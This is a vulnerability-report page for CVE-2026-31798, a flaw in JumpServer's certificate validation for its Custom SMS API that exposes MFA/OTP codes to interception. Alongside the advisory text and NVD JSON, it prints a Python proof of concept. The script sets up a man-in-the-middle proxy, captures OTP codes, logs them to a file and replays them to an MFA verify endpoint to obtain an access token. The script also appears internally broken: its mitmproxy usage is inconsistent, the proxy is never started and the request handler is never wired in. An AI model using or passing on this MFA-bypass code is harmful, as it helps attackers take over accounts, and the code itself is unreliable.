Security Vulnerability Report
中文
CVE-2026-31798 CVSS 5.0 MEDIUM

CVE-2026-31798

Published: 2026-03-13 19:54:36
Last Modified: 2026-03-18 13:07:59

Description

JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to v4.10.16-lts, JumpServer improperly validates certificates in the Custom SMS API Client. When JumpServer sends MFA/OTP codes via Custom SMS API, an attacker can intercept the request and capture the verification code BEFORE it reaches the user's phone. This vulnerability is fixed in v4.10.16-lts.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:* - VULNERABLE
JumpServer < v4.10.16-lts

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-31798 PoC - JumpServer Custom SMS API Certificate Validation Bypass # This PoC demonstrates the MITM attack on JumpServer SMS OTP verification import requests import ssl import socket from mitmproxy import proxy, options from mitmproxy.proxy.server import ProxyServer import re import threading import time class JumpServerSMSInterceptor: def __init__(self, target_host, target_port=443): self.target_host = target_host self.target_port = target_port self.captured_otp = None def setup_mitmproxy(self, listen_port=8080): """Setup MITM proxy to intercept SMS OTP traffic""" opts = options.Options(listen_host='0.0.0.0', listen_port=listen_port) opts.add_option("ssl_insecure", bool, True) # Allow self-signed certs config = proxy.ProxyConfig( certs={'*.jumpserver.com': self.generate_self_signed_cert()} ) return ProxyServer(opts) def handle_request(self, flow): """Intercept and capture OTP codes from SMS API requests""" # Check if this is a JumpServer SMS API request if 'sms' in flow.request.url.lower() or 'otp' in flow.request.url.lower(): print(f"[+] Intercepted SMS API Request: {flow.request.url}") # Extract OTP code from request body/headers request_body = flow.request.text headers = dict(flow.request.headers) # Regex patterns to extract OTP codes otp_patterns = [ r'\b(\d{4,8})\b', # 4-8 digit codes r'"code"\s*:\s*"(\d+)"', r'"otp"\s*:\s*"(\d+)"', r'"token"\s*:\s*"(\d+)"', ] for pattern in otp_patterns: match = re.search(pattern, request_body) if match: self.captured_otp = match.group(1) print(f"[!] OTP Code Captured: {self.captured_otp}") print(f"[!] Timestamp: {time.strftime('%Y-%m-%d %H:%M:%S')}") # Save captured OTP self.save_captured_otp(flow, self.captured_otp) break def save_captured_otp(self, flow, otp): """Save captured OTP to file for later use""" with open('captured_otps.txt', 'a') as f: f.write(f"OTP: {otp} | URL: {flow.request.url} | Time: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") def generate_self_signed_cert(self): """Generate self-signed certificate for MITM""" from OpenSSL import crypto key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 2048) cert = crypto.X509() cert.get_subject().C = "US" cert.get_subject().O = "JumpServer" cert.get_subject().OU = "Security" cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(365*24*60*60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(key) cert.sign(key, 'sha256') return cert, key def exploit_otp(otp_code, target_url, session_cookie): """ Use captured OTP to bypass MFA authentication """ headers = { 'Cookie': session_cookie, 'Content-Type': 'application/json' } payload = { 'otp_code': otp_code, 'action': 'verify_mfa' } try: response = requests.post( f"{target_url}/api/v1/authentication/mfa/verify/", json=payload, headers=headers, verify=False, timeout=10 ) if response.status_code == 200 and 'token' in response.text: print(f"[!] MFA Bypass Successful!") print(f"[!] Access Token: {response.json().get('token')}") return True else: print(f"[-] MFA Verification Failed") return False except Exception as e: print(f"[-] Error during OTP verification: {e}") return False if __name__ == "__main__": print("="*60) print("CVE-2026-31798 PoC - JumpServer SMS API MITM Attack") print("="*60) print("\n[!] Warning: This PoC is for educational and authorized testing only") print("[!] Unauthorized access to computer systems is illegal\n") # Configuration TARGET_HOST = "victim.jumpserver.com" PROXY_PORT = 8080 # Start MITM proxy interceptor = JumpServerSMSInterceptor(TARGET_HOST) print(f"[*] Starting MITM proxy on port {PROXY_PORT}...") print(f"[*] Configure browser to use proxy {PROXY_PORT}") print("[*] Waiting for OTP requests...") # Note: Full implementation requires mitmproxy library # This PoC demonstrates the attack methodology

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31798", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:36.097", "lastModified": "2026-03-18T13:07:58.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to v4.10.16-lts, JumpServer improperly validates certificates in the Custom SMS API Client. When JumpServer sends MFA/OTP codes via Custom SMS API, an attacker can intercept the request and capture the verification code BEFORE it reaches the user's phone. This vulnerability is fixed in v4.10.16-lts."}, {"lang": "es", "value": "JumpServer es un host bastión de código abierto y un sistema de auditoría de seguridad de operación y mantenimiento. Antes de la v4.10.16-lts, JumpServer valida incorrectamente los certificados en el Cliente API de SMS Personalizado. Cuando JumpServer envía códigos MFA/OTP a través de la API de SMS Personalizado, un atacante puede interceptar la solicitud y capturar el código de verificación ANTES de que llegue al teléfono del usuario. Esta vulnerabilidad se corrige en la v4.10.16-lts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.10.16", "matchCriteriaId": "43DC809F-FE8B-457E-B4D4-1226A1A8E5F8"}]}]}], "references": [{"url": "https://github.com/jumpserver/jumpserver/security/advisories/GHSA-26pj-mmxw-w3w7", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}